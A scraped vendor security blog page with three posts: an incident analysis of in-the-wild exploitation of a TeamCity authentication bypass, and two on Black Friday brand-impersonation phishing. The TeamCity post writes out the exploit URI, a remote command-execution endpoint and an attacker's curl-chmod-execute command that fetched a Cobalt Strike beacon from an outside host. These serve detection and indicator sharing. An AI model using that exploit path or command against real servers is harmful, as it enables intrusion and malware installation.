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August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst
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21
Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response.

/hax

  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

  • Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

  • Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

  • Device / New User Agent
  • Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same  vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.
Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

  • Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
  • Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released  [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC -     Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI  -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst

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November 27, 2025

From Amazon to Louis Vuitton: How Darktrace Detects Black Friday Phishing Attacks

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Why Black Friday Drives a Surge in Phishing Attacks

In recent years, Black Friday has shifted from a single day of online retail sales and discounts to an extended ‘Black Friday Week’, often preceded by weeks of online hype. During this period, consumers are inundated with promotional emails and marketing campaigns as legitimate retailers compete for attention.

Unsurprisingly, this surge in legitimate communications creates an ideal environment for threat actors to launch targeted phishing campaigns designed to mimic legitimate retail emails. These campaigns often employ social engineering techniques that exploit urgency, exclusivity, and consumer trust in well-known brands, tactics designed to entice recipients into opening emails and clicking on malicious links.

Additionally, given the seasonal nature of Black Friday and the ever-changing habits of consumers, attackers adopt new tactics and register fresh domains each year, rather than reusing domains previously flagged as spam or phishing endpoints. While this may pose a challenge for traditional email security tools, it presents no such difficulty for Darktrace / EMAIL and its anomaly-based approach.

In the days and weeks leading up to ‘Black Friday’, Darktrace observed a spike in sophisticated phishing campaigns targeting consumers, demonstrating how attackers combine phycological manipulation with technical evasion to bypass basic security checks during this high-traffic period. This blog showcases several notable examples of highly convincing phishing emails detected and contained by Darktrace / EMAIL in mid to late November 2025.

Darktrace’s Black Friday Detections

Brand Impersonation: Deal Watchdogs’ Amazon Deals

The impersonation major online retailers has become a common tactic in retail-focused attacks, none more so than Amazon, which ranked as the fourth most impersonated brand in 2024, only behind Microsoft, Apple, Google, and Facebook [1]. Darktrace’s own research found Amazon to be the most mimicked brand, making up 80% of phishing attacks in its analysis of global consumer brands.

When faced with an email that appears to come from a trusted sender like Amazon, recipients are far more likely to engage, increasing the success rate of these phishing campaigns.

In one case observed on November 16, Darktrace detected an email with the subject line “NOW LIVE: Amazon’s Best Early Black Friday Deals on Gadgets Under $60”. The email was sent to a customer by the sender ‘Deal Watchdogs’, in what appeared to be an attempt to masquerade as a legitimate discount-finding platform. No evidence indicated that the company was legitimate. In fact, the threat actor made no attempt to create a convincing name, and the domain appeared to be generated by a domain generation algorithm (DGA), as shown in Figure 2.

Although the email was sent by ‘Deal Watchdogs’, it attempted to impersonate Amazon by featuring realistic branding, including the Amazon logo and a shade of orange similar to that used by them for the ‘CLICK HERE’ button and headline text.

Figure 1: The contents of the email observed by Darktrace, featuring authentic-looking Amazon branding.

Darktrace identified that the email, marked as urgent by the sender, contained a suspicious link to a Google storage endpoint (storage.googleapis[.]com), which had been hidden by the text “CLICK HERE”. If clicked, the link could have led to a credential harvester or served as a delivery vector for a malicious payload hosted on the Google storage platform.

Fortunately, Darktrace immediately identified the suspicious nature of this email and held it before delivery, preventing recipients from ever receiving or interacting with the malicious content.

Figure 2: Darktrace / EMAIL’s detection of the malicious phishing email sent to a customer.

Around the same time, Darktrace detected a similar email attempting to spoof Amazon on another customer’s network with the subject line “Our 10 Favorite Deals on Amazon That Started Today”, also sent by ‘Deal Watchdogs,’ suggesting a broader campaign.

Analysis revealed that this email originated from the domain petplatz[.]com, a fake marketing domain previously linked to spam activity according to open-source intelligence (OSINT) [2].

Brand Impersonation: Louis Vuitton

A few days later, on November 20, Darktrace / EMAIL detected a phishing email attempting to impersonate the luxury fashion brand Louis Vuitton. At first glance, the email, sent under the name ‘Louis Vuitton’ and titled “[Black Friday 2025] Discover Your New Favorite Louis Vuitton Bag – Elegance Starts Here”, appeared to be a legitimate Black Friday promotion. However, Darktrace’s analysis uncovered several red flags indicating a elaborate brand impersonation attempt.

The email was not sent by Louis Vuitton but by rskkqxyu@bookaaatop[.]ru, a Russia-based domain never before observed on the customer’s network. Darktrace flagged this as suspicious, noting that .ru domains were highly unusual for this recipient’s environment, further reinforcing the likelihood of malicious intent. Subsequent analysis revealed that the domain had only recently registered and was flagged as malicious by multiple OSINT sources [3].

Figure 3: Darktrace / EMAIL’s detection of the malicious email attempting to spoofLouis Vuitton, originating from a suspicious Russia-based domain.

Darktrace further noted that the email contained a highly suspicious link hidden behind the text “View Collection” and “Unsubscribe,” ensuring that any interaction, whether visiting the supposed ‘handbag store’ or attempting to opt out of marketing emails, would direct recipients to the same endpoint. The link resolved to xn--80aaae9btead2a[.]xn--p1ai (топааабоок[.]рф), a domain confirmed as malicious by multiple OSINT sources [4]. At the time of analysis, the domain was inaccessible, likely due to takedown efforts or the short-lived nature of the campaign.

Darktrace / EMAIL blocked this email before it reached customer inboxes, preventing recipients from interacting with the malicious content and averting any disruption.

Figure 4: The suspicious domain linked in the Louis Vuitton phishing email, now defunct.

Too good to be true?

Aside from spoofing well-known brands, threat actors frequently lure consumers with “too good to be true” luxury offers, a trend Darktrace observed in multiple cases throughout November.

In one instance, Darktrace identified an email with the subject line “[Black Friday 2025] Luxury Watches Starting at $250.” Emails contained a malicious phishing link, hidden behind text like “Rolex Starting from $250”, “Shop Now”, and “Unsubscribe”.

Figure 5: Example of a phishing email detected by Darktrace, containing malicious links concealed behind seemingly innocuous text.

Similarly to the Louis Vuitton email campaign described above, this malicious link led to a .ru domain (hxxps://x.wwwtopsalebooks[.]ru/.../d65fg4er[.]html), which had been flagged as malicious by multiple sources [5].

Figure 6: Darktrace / EMAIL’s detection of a malicious email promoting a fake luxury watch store, which was successfully held from recipient inboxes.

If accessed, this domain would redirect users to luxy-rox[.]com, a recently created domain (15 days old at the time of writing) that has also been flagged as malicious by OSINT sources [6]. When visited, the redirect domain displayed a convincing storefront advertising high-end watches at heavily discounted prices.

Figure 7: The fake storefront presented upon visiting the redirectdomain, luxy-rox[.]com.

Although the true intent of this domain could not be confirmed, it was likely a scam site or a credential-harvesting operation, as users were required to create an account to complete a purchase. As of the time or writing, the domain in no longer accessible .

This email illustrates a layered evasion tactic: attackers employed multiple domains, rapid domain registration, and concealed redirects to bypass detection. By leveraging luxury branding and urgency-driven discounts, the campaign sought to exploit seasonal shopping behaviors and entice victims into clicking.

Staying Protected During Seasonal Retail Scams

The investigation into these Black Friday-themed phishing emails highlights a clear trend: attackers are exploiting seasonal shopping events with highly convincing campaigns. Common tactics observed include brand impersonation (Amazon, Louis Vuitton, luxury watch brands), urgency-driven subject lines, and hidden malicious links often hosted on newly registered domains or cloud services.

These campaigns frequently use redirect chains, short-lived infrastructure, and psychological hooks like exclusivity and luxury appeal to bypass user scepticism and security filters. Organizations should remain vigilant during retail-heavy periods, reinforcing user awareness training, link inspection practices, and anomaly-based detection to mitigate these evolving threats.

Credit to Ryan Traill (Analyst Content Lead) and Owen Finn (Cyber Analyst)

Appendices

References

1.        https://keepnetlabs.com/blog/top-5-most-spoofed-brands-in-2024

2.        https://www.virustotal.com/gui/domain/petplatz.com

3.        https://www.virustotal.com/gui/domain/bookaaatop.ru

4.        https://www.virustotal.com/gui/domain/xn--80aaae9btead2a.xn--p1ai

5.        https://www.virustotal.com/gui/url/e2b868a74531cd779d8f4a0e1e610ec7f4efae7c29d8b8ab32c7a6740d770897?nocache=1

6.        https://www.virustotal.com/gui/domain/luxy-rox.com

Indicators of Compromise (IoCs)

IoC – Type – Description + Confidence

petplatz[.]com – Hostname – Spam domain

bookaaatop[.]ru – Hostname – Malicious Domain

xn--80aaae9btead2a[.]xn--p1ai (топааабоок[.]рф) – Hostname - Malicious Domain

hxxps://x.wwwtopsalebooks[.]ru/.../d65fg4er[.]html) – URL – Malicious Domain

luxy-rox[.]com – Hostname -  Malicious Domain

MITRE ATT&CK Mapping  

Tactic – Technique – Sub-Technique  

Initial Access - Phishing – (T1566)  

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About the author
Ryan Traill
Analyst Content Lead

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November 27, 2025

Phishing attacks surge by 620% in the lead-up to Black Friday

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Black Friday deals are rolling in, and so are the phishing scams

As the world gears up for Black Friday and the festive shopping season, inboxes flood with deals and delivery notifications, creating a perfect storm for phishing attackers to strike.

Contributing to the confusion, legitimate brands often rely on similar urgency cues, limited-time offers, and high-volume email campaigns used by scammers, blurring the lines between real deals and malicious lookalikes. While security teams remain extra vigilant during this period, the risk of phishing emails slipping in unnoticed remains high, as does the risk of individuals clicking to take advantage of holiday shopping offers.

Analysis conducted by Darktrace’s global analyst team revealed that phishing attacks taking advantage of Black Friday jumped by 620% in the weeks leading up to the holiday weekend, with the volume of phishing attacks expected to jump a further 20-30% during Black Friday week itself.

First observation: Brand impersonation

Brand impersonation was one of the techniques that stood out, with threat actors creating convincing emails – likely assisted by generative AI – purporting to be from household brands including special offers and promotions.

The week before Thanksgiving (15-21 November) saw 201% more phishing attempts mimicking US retailers than the same week in October, as attackers sought to profit off the back of the busy holiday shopping season. It’s not just about volume, either – attackers are spoofing brands people love to shop with during the holidays. Fake emails that look like they’re from well-known retailers like Macy’s, Walmart, and Target were up by 54% just across last week1. Even so, Amazon is the most impersonated brand, making up 80% of phishing attempts in Darktrace’s analysis of global consumer brands like Apple, Alibaba and Netflix.  

While major brands invest heavily in protecting their organizations and customers from cyber-attacks, impersonation is a complicated area as it falls outside of a brand’s legitimate infrastructure and security remit. Retail brands have a huge attack surface, creating plenty of vectors for impersonation, while fake domains, social profiles, and promotional messages can be created quickly and at scale.

Second observation: Fake marketing domains

One prominent Black Friday phishing campaign observed landing in many inboxes uses fake domains purporting to be from marketing sites, like “Pal.PetPlatz.com” and “Epicbrandmarketing.com”.

These emails tend to operate in one of two ways. Some contain “deals” for luxury items such as Rolex watches or Louis Vuitton handbags, designed to tempt readers into clicking. However, the majority are tied to a made-up brand called Deal Watchdogs, which promotes “can’t-miss” Amazon Black Friday offers – designed to lure readers into acting fast to secure legitimate time-sensitive deals. Any user who clicks a link is taken to a fake Amazon website where they are tricked into inputting sensitive data and payment details.

Third observation: The impact of generative AI

The biggest shift seen in phishing in recent years is how much more convincing scam emails are thanks to generative AI. 27% of phishing emails observed by Darktrace in 2024 contained over 1,000 characters2, suggesting LLM use in their creation. Tools like ChatGPT and Gemini lower the barrier to entry for cyber-criminals, allowing them to create phishing campaigns that humans find it difficult to spot.  

Let’s take a look at a dummy email created by a member of our team without a technical background to illustrate how easy it is to spin up an email that looks and feels like a genuine Black Friday offer. With two prompts, generative AI created a convincing “sale” email that could easily pass as the real thing without requiring any technical skill.

A fake Black Friday deal email created using generative AI, with only two prompts. The image has been pixelated for marketing purposes.

Anyone can now create convincing brand spoofs, and they can do it at scale. That makes it even more important for email users to pause, check the sender, and think before they click.

Why phishing scams hurt consumers and brands

These spoofs don’t just drain shoppers’ bank accounts and grab their personal data. They erode trust, drive people away from real sites, and ultimately hurt brands’ sales. And the fakes keep getting sharper, more convincing, and harder to spot.

Though brands should implement email controls like DMARC to help reduce spoofing, they can’t stop attackers from registering new look-alike domains or using other channels. At the end of the day, human users remain vulnerable to well-crafted scams, particularly when the element of trust from a well-known brand is involved. And while brands can’t prevent all impersonation scams, the fallout can still erode consumer trust and damage their reputation.

In order to limit the impact of these scams, two things need to work together: better education so consumers know when to slow down and look twice, and email security (plus a DMARC solution and an attack surface management tool) that can adapt faster than the attackers – protecting both shoppers and the brands they love.

Tips to stay safe while Black Friday shopping online

On top of retailers implementing robust email security, there are some simple steps shoppers can take to stay safer while shopping this holiday season.

  • Check every website (twice). Scammers make tiny changes you can barely see. They’ll switch Walmart.com for Waimart.com and most people won’t notice. If something looks even slightly off, check the URL carefully and, if you’re unsure, search for reviews of that exact address.
  • Santa keeps the real gifts in the workshop. Don’t just click through from sales emails. Use them as a prompt to log in directly to the official app or site, where any genuine notifications will appear.
  • Look at the payment options. Real retailers usually offer a handful of recognizable ways to pay; if a site pushes only odd methods or upfront transfers, don’t use it.
  • Be skeptical of Christmas miracles. If a deal on a big-ticket item looks too good to be true, it usually is.
  • Leave the rushing to the elves. Countdown timers and “last chance” banners are designed to make you click before you think. Take a breath, double-check the sender and the site, and then decide whether to buy.

Email security you can trust this holiday season

The heightened holiday shopping season shines a spotlight on an uncomfortable reality: now that phishing emails are harder than ever to distinguish from legitimate brand communication, traditional spam filters and Secure Email Gateways struggle to keep up. In order to protect against communication-based attacks, organizations require email security that can evaluate the full context of an email – not just surface-level indicators – and stop malicious messages before they reach inboxes.

Darktrace / EMAIL uses Self-Learning AI to understand the behavior and patterns of every user, so it can detect the subtle inconsistencies that reveal a message isn’t genuine, from shifts in tone and writing style to unexpected links, unfamiliar senders, or off-brand visual cues. By identifying these anomalies automatically – and either holding them entirely, or neutralizing malicious elements – it removes the burden from employees to catch near-imperceptible errors and reinforces protection for the entire organization, from staff to customers to brand reputation.

Join our live broadcast on 9 December, where Darktrace will reveal new, industry-first innovations in email security keeping organizations safe this Christmas – from DMARC to DLP. Sign up to the live launch event now.

For a deeper dive into some specific Black Friday phishing campaigns surfaced by the Darktrace threat analysis team, read the follow-up blog here.

A note on methodology

Insights derive from anonymous live data across 6,500 customers protected by Darktrace / EMAIL. Darktrace created models tracking verified phishing emails that:

  • Explicitly mentioned Black Friday
  • Impersonated US retailers popular during the holiday season (Walmart, Target, Best Buy, Macy's, Old Navy, 1800-Flowers)
  • Impersonated major global brands (Apple, eBay, Netflix, Alibaba and PayPal)

Tracking ran from October 1 to November 21.

References

[1] Based on live tracking of phishing emails spoofing Walmart, Target, Best Buy, Macy's, Old Navy, 1800-Flowers across email inboxes protected by Darktrace.  November 15 – November 21, 2025

[2] Based on analysis of 30.4 million phishing emails between December 21, 2023, and December 18, 2024. Darktrace Annual Threat Report 2024.

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About the author
Carlos Gray
Senior Product Marketing Manager, Email
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